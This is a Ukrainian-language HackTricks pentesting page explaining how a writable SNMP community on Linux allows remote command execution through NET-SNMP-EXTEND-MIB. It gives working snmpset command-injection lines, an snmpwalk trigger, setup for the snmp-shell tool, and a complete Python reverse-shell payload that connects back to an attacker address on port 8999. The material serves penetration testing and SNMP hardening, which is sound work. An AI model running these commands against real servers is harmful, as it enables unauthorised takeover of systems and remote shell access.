6.4 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
SNMP RCE
SNMP може бути використано зловмисником, якщо адміністратор не звертає уваги на його стандартну конфігурацію на пристрої або сервері. Зловмисник може виконувати команди на сервері, зловживаючи SNMP-спільнотою з правами запису (rwcommunity) на операційній системі Linux.
Розширення послуг додатковими командами
Щоб розширити SNMP-послуги та додати додаткові команди, можна додати нові рядки до таблиці "nsExtendObjects". Це можна зробити, використовуючи команду snmpset
і надаючи необхідні параметри, включаючи абсолютний шлях до виконуваного файлу та команду, яка має бути виконана:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Впровадження команд для виконання
Впровадження команд для виконання на службі SNMP вимагає наявності та можливості виконання викликаного бінарного файлу/скрипта. NET-SNMP-EXTEND-MIB
вимагає надання абсолютного шляху до виконуваного файлу.
Щоб підтвердити виконання впровадженої команди, можна використовувати команду snmpwalk
для перерахунку служби SNMP. вихідні дані відобразять команду та її супутні деталі, включаючи абсолютний шлях:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Виконання Впроваджених Команд
Коли впроваджена команда читається, вона виконується. Ця поведінка відома як run-on-read()
. Виконання команди можна спостерігати під час читання snmpwalk.
Отримання Shell Сервера за Допомогою SNMP
Щоб отримати контроль над сервером і отримати shell сервера, можна використовувати скрипт на python, розроблений mxrch, з https://github.com/mxrch/snmp-shell.git.
Альтернативно, реверсний shell можна створити вручну, впровадивши конкретну команду в SNMP. Ця команда, активована snmpwalk, встановлює з'єднання реверсного shell з машиною атакуючого, що дозволяє контролювати машину жертви. Ви можете встановити попередні вимоги для запуску цього:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Або зворотний шелл:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
References
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.